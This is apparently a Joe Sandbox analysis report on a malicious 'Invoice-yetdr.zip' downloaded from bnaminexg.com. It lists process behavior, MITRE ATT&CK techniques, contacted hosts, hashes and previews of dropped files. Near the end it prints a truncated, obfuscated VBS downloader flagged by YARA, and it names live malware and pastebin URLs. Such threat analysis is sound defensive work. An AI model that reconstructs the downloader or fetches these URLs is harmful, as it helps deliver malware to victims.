Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Queries volume information: \Device\CdRom0\autorun.inf VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Exploitation for Client Execution	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.bnaminexg.com/Invoice-yetdr.zip	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label	Link
https://pastebin.com/raw/vHQdp1zj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bnaminexg.com	162.210.199.135	true	false	unknown
www.google.com	142.250.184.228	true	false	unknown
www.bnaminexg.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.bnaminexg.com/Invoice-yetdr.zip	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/vHQdp1zj	7za.exe, 00000006.00000003.2238108956.00000000012E0000.00000004.00000800.00020000.00000000.sdmp, 63534464.vbs.10.dr, Invoice-yetdr.img.6.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
162.210.199.135	bnaminexg.com	United States	30633	LEASEWEB-USA-WDCUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467155
Start date and time:	2024-07-03 19:21:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.bnaminexg.com/Invoice-yetdr.zip
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	2
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.spre.expl.win@30/12@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 49 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): vhdmp.sys, dllhost.exe, WMIADAP.exe, SIHClient.exe, fsdepends.sys, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.185.174, 64.233.166.84, 34.104.35.123, 192.229.221.95, 199.232.214.172, 142.250.185.67
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://www.bnaminexg.com/Invoice-yetdr.zip

Simulations

Behavior and APIs

Time	Type	Description
13:22:54	API Interceptor	29x Sleep call for process: powershell.exe modified
13:23:26	API Interceptor	180530x Sleep call for process: unarchiver.exe modified

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2316
Entropy (8bit):	5.371915725961079
Encrypted:	false
SSDEEP:	48:rNyvWSU4y4RQmFoUeWmfgZ9tK8NPCSHcj7u1iMLgeRwHU2lfcW+lh3:JwLHyIFKL3IZ2KqS8jOLgiyll0W+X
MD5:	B5FAEA7B6DF2BB99A63DA8B820FEA9A6
SHA1:	C9B466D9EAFD81BDD0573FF9F24DD0BC17321222
SHA-256:	095EF4EF2856338BCA4D62380954FAB59F632DEA3EC991522F985568D1483683
SHA-512:	A55014BA17647F733355F077D07F7515FC4C5257A9A8FD5660AFF7B3BF0EAE999B89AE0E437F73AEB2286E484343F6BC6C3872C540817EF1DEFA13EE968E2609
Malicious:	false
Reputation:	low
Preview:	@...e.................................^..............@..........P................1]...E.....x.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ioh3rww.fya.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1xh3w2v.gsq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ql12fcc5.1tp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmpijqgg.0no.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2959
Entropy (8bit):	5.022918788943039
Encrypted:	false
SSDEEP:	48:+N6G9Gb9G9Gp3GQIG9GpKGbrGxGlGe+GEcG9G0G9GhG+ZXb/PG9G9GycGBLGa8Gm:+V+HFg8nE
MD5:	30D06CC848D46FF02F7FD4FFD1A3523A
SHA1:	31BC5F0A033874B8D112DCD025BB8C9B6D07285A
SHA-256:	30520BA1CE387887A8DB1547DF3DAEBC91A50D91A2B30924CB26BF1F81B6BFEF
SHA-512:	66D293C9EDCF190178EA2161430B7435B428BC6A05EAD71A6F4A916D883B4DEC3CBC7211187CCA23C0ECD8129DB749A5B2D5E86EEC82FE25F7F6C9E134B39F54
Malicious:	false
Reputation:	low
Preview:	07/03/2024 1:22 PM: Unpack: C:\Users\user\Downloads\Invoice-yetdr.zip..07/03/2024 1:22 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\vqyu22il.thm..07/03/2024 1:22 PM: Received from standard out: ..07/03/2024 1:22 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..07/03/2024 1:22 PM: Received from standard out: ..07/03/2024 1:22 PM: Received from standard out: Scanning the drive for archives:..07/03/2024 1:22 PM: Received from standard out: 1 file, 10969 bytes (11 KiB)..07/03/2024 1:22 PM: Received from standard out: ..07/03/2024 1:22 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Invoice-yetdr.zip..07/03/2024 1:22 PM: Received from standard out: --..07/03/2024 1:22 PM: Received from standard out: Path = C:\Users\user\Downloads\Invoice-yetdr.zip..07/03/2024 1:22 PM: Received from standard out: Type = zip..07/03/2024 1:22 PM: Received from standard out: Physical Size = 10969..07/03/2024 1:22 P

C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	UDF filesystem data (version 1.5) 'DOCUMENTS'
Category:	dropped
Size (bytes):	1245184
Entropy (8bit):	0.2169424580643057
Encrypted:	false
SSDEEP:	768:bg/Is5zAAJAVZFay4c+n2/0LKj1LnUAlX485awqhk:cwmzALZFay4c+n2cLKxLnb7qhk
MD5:	64DCC2BB66F6450412E78430228AEEDE
SHA1:	9427E6557781BE0BA3510183BAF8C2F4B3888603
SHA-256:	8DCC4F9F8D9412950C10C2CBBEE463F85AE0DE5F8E62E0F855BBC2739E73D90D
SHA-512:	1FA88D58C7158BAB72FEDACA9967430EF9128EAEB234657D563AE9A5C5DAC30F400DE7934FECAE8DF8FD74738F0386EB7326D58A64C2798D4BB541904034CB85
Malicious:	true
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\Invoice-yetdr.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip multi-volume archive data, at least PKZIP v2.50 to extract
Category:	dropped
Size (bytes):	10969
Entropy (8bit):	7.494414953479185
Encrypted:	false
SSDEEP:	192:ZBjozCKnmGt60B4V0Vsh9xX7AOaO/Yw4vzSliYDiuJxHq6gtXxMB5Qm:ZmVv6cVsh9FNaO/Yjq7P6NXxA6m
MD5:	AF97EA764AB3719CE4410BE794CE9700
SHA1:	6C77222A3C25A7A18E31DC951699B5691F79464D
SHA-256:	57509FEF665EE4F7E331DBC8ABA5D93682CA61ADC155F7E5E58CCC6A7F3FCAAD
SHA-512:	6B6F433A4D8FBA63FBA46E1F37023F11886650C58BC78205679C1439069BCCA847299E70346F5F8C4D14E87472BFFDB669E6F3B2D38E98D310BFEA6A7F6FB46E
Malicious:	true
Reputation:	low
Preview:	PK..PK.........{.XO...-..........Invoice-yetdr.img...O.g...g..-.h<ab.l.DS2,.hZ. .%QL...h....F.S...z....w......{....;.....E.........p..3$.......................................x.....Zs...q.{..y..........F..7...w.._W.#qz.l....~..............L..0{..t{~........)./..oZE.....V:>u.UT]Z....^.l.'...x.....Pn./4d1.....;+...?Z.\|..l.?...L...?..1s..eS................................U.y...CK....>.3....^,.R..Z..<.@V..:..k0.c2Z...N.X.O.f:6...p\^X.....g....E{.....K.{.w.....y.<.../.8t.x......c_..?S...:..F.......bv...y.~...k...@l'.....?..RJ.'.Nv......d].8v.j.g.d.B.....M..kJ.G..f...=..........AFu!.o][Y...F.z.....n.)v.Z"..l5.^5..x{})..I.<........]#..p}..........................>TU..N...NV.~...Y=2.?98....d....1........6.Z?..w.Y.......7G.G&G.....~....:v._.B......../.t..5.y....+7W7....>.v....@.S..K.....j.yw.prna.l.NU..L..P.X.xS.)..Oi....l,.......jMP_D. .......E...g....z7..;~-..}..ko....R....oy.........]#..h}..........................x.>.<..,...g...\a.....;R..z5..

C:\Users\user\Downloads\Invoice-yetdr.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip multi-volume archive data, at least PKZIP v2.50 to extract
Category:	dropped
Size (bytes):	10969
Entropy (8bit):	7.494414953479185
Encrypted:	false
SSDEEP:	192:ZBjozCKnmGt60B4V0Vsh9xX7AOaO/Yw4vzSliYDiuJxHq6gtXxMB5Qm:ZmVv6cVsh9FNaO/Yjq7P6NXxA6m
MD5:	AF97EA764AB3719CE4410BE794CE9700
SHA1:	6C77222A3C25A7A18E31DC951699B5691F79464D
SHA-256:	57509FEF665EE4F7E331DBC8ABA5D93682CA61ADC155F7E5E58CCC6A7F3FCAAD
SHA-512:	6B6F433A4D8FBA63FBA46E1F37023F11886650C58BC78205679C1439069BCCA847299E70346F5F8C4D14E87472BFFDB669E6F3B2D38E98D310BFEA6A7F6FB46E
Malicious:	false
Reputation:	low
Preview:	PK..PK.........{.XO...-..........Invoice-yetdr.img...O.g...g..-.h<ab.l.DS2,.hZ. .%QL...h....F.S...z....w......{....;.....E.........p..3$.......................................x.....Zs...q.{..y..........F..7...w.._W.#qz.l....~..............L..0{..t{~........)./..oZE.....V:>u.UT]Z....^.l.'...x.....Pn./4d1.....;+...?Z.\|..l.?...L...?..1s..eS................................U.y...CK....>.3....^,.R..Z..<.@V..:..k0.c2Z...N.X.O.f:6...p\^X.....g....E{.....K.{.w.....y.<.../.8t.x......c_..?S...:..F.......bv...y.~...k...@l'.....?..RJ.'.Nv......d].8v.j.g.d.B.....M..kJ.G..f...=..........AFu!.o][Y...F.z.....n.)v.Z"..l5.^5..x{})..I.<........]#..p}..........................>TU..N...NV.~...Y=2.?98....d....1........6.Z?..w.Y.......7G.G&G.....~....:v._.B......../.t..5.y....+7W7....>.v....@.S..K.....j.yw.prna.l.NU..L..P.X.xS.)..Oi....l,.......jMP_D. .......E...g....z7..;~-..}..ko....R....oy.........]#..h}..........................x.>.<..,...g...\a.....;R..z5..

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip multi-volume archive data, at least PKZIP v2.50 to extract
Category:	downloaded
Size (bytes):	10969
Entropy (8bit):	7.494414953479185
Encrypted:	false
SSDEEP:	192:ZBjozCKnmGt60B4V0Vsh9xX7AOaO/Yw4vzSliYDiuJxHq6gtXxMB5Qm:ZmVv6cVsh9FNaO/Yjq7P6NXxA6m
MD5:	AF97EA764AB3719CE4410BE794CE9700
SHA1:	6C77222A3C25A7A18E31DC951699B5691F79464D
SHA-256:	57509FEF665EE4F7E331DBC8ABA5D93682CA61ADC155F7E5E58CCC6A7F3FCAAD
SHA-512:	6B6F433A4D8FBA63FBA46E1F37023F11886650C58BC78205679C1439069BCCA847299E70346F5F8C4D14E87472BFFDB669E6F3B2D38E98D310BFEA6A7F6FB46E
Malicious:	false
Reputation:	low
URL:	https://www.bnaminexg.com/Invoice-yetdr.zip
Preview:	PK..PK.........{.XO...-..........Invoice-yetdr.img...O.g...g..-.h<ab.l.DS2,.hZ. .%QL...h....F.S...z....w......{....;.....E.........p..3$.......................................x.....Zs...q.{..y..........F..7...w.._W.#qz.l....~..............L..0{..t{~........)./..oZE.....V:>u.UT]Z....^.l.'...x.....Pn./4d1.....;+...?Z.\|..l.?...L...?..1s..eS................................U.y...CK....>.3....^,.R..Z..<.@V..:..k0.c2Z...N.X.O.f:6...p\^X.....g....E{.....K.{.w.....y.<.../.8t.x......c_..?S...:..F.......bv...y.~...k...@l'.....?..RJ.'.Nv......d].8v.j.g.d.B.....M..kJ.G..f...=..........AFu!.o][Y...F.z.....n.)v.Z"..l5.^5..x{})..I.<........]#..p}..........................>TU..N...NV.~...Y=2.?98....d....1........6.Z?..w.Y.......7G.G&G.....~....:v._.B......../.t..5.y....+7W7....>.v....@.S..K.....j.yw.prna.l.NU..L..P.X.xS.)..Oi....l,.......jMP_D. .......E...g....z7..;~-..}..ko....R....oy.........]#..h}..........................x.>.<..,...g...\a.....;R..z5..

\Device\CdRom1\63534464.vbs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (458), with CRLF line terminators
Category:	dropped
Size (bytes):	39480
Entropy (8bit):	3.5308387198196156
Encrypted:	false
SSDEEP:	768:Y/Is5zAAJAVZFay4c+n2/0LKj1LnUAlX485awqhkC:YwmzALZFay4c+n2cLKxLnb7qhkC
MD5:	8D7BE07DCCBCE475730BA1D70A69E076
SHA1:	E6EBAC1A816B5B8328AE311F2A3945C5370E1A1D
SHA-256:	67FC3C64DD2897E1BD6F15F70955104F428A66232A49174D6025F3F80AC9CF21
SHA-512:	967C6BD62610D21F7CA096A48726C57BCA8906D207F59D4944371074927B570B77335A7975BCC288377B39E9907CCF190AD50C2D4A9D83F2182818C38468DDE0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VBS_Downloader_Generic, Description: Yara detected VBS Downloader Generic, Source: \Device\CdRom1\63534464.vbs, Author: Joe Security
Reputation:	low
Preview:	..e.n.g.a.j.a.t.a.d.o. .=. .".<.r.o.o.t. .i.z.b.i.G.t.r.P.g.Z.c.h.m.u.A.W.R.t.l.T.a.N.P.h.Q.i.g.K.h.K.z.L.m.o.B.p.K.i.L.W.o.v.k.U.x.N.W.B.i.p.i.t.i.W.o.n.z.b.N.x.f.b.e.N.z.K.G.h.G.B.k.s.t.f.l.i.L.I.T.d.A.t.I.W.Z.L.Z.B.C.P.m.O.Q.e.W.z.k.A.a.r.:.p.s.f.=.'.h.t.t.p.:././.e.x.a.m.p.l.e...c.o.m./.p.s.f.'. .i.z.b.i.G.t.r.P.g.Z.c.h.m.u.A.W.R.t.l.T.a.N.P.h.Q.i.g.K.h.K.z.L.m.o.B.p.K.i.L.W.o.v.k.U.x.N.W.B.i.p.i.t.i.W.o.n.z.b.N.x.f.b.e.N.z.K.G.h.G.B.k.s.t.f.l.i.L.I.T.d.A.t.I.W.Z.L.Z.B.C.P.m.O.Q.e.W.z.k.A.a.r.:.x.s.i.=.'.h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.-.i.n.s.t.a.n.c.e.'.>.<./.r.o.o.t.>.".....D.i.m. .r.e.s.e.r.e.n.a.r.....S.e.t. .r.e.s.e.r.e.n.a.r. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.s.x.m.l.2...D.O.M.D.o.c.u.m.e.n.t...6...0.".).....r.e.s.e.r.e.n.a.r...a.s.y.n.c. .=. .F.a.l.s.e.....r.e.s.e.r.e.n.a.r...l.o.a.d.X.M.L.(.e.n.g.a.j.a.t.a.d.o.).....D.i.m. .a.n.g.r.a.....S.e.t. .a.n.g.r.a. .=. .r.e.s.e.r.e.n.a.r.....D.i.m. 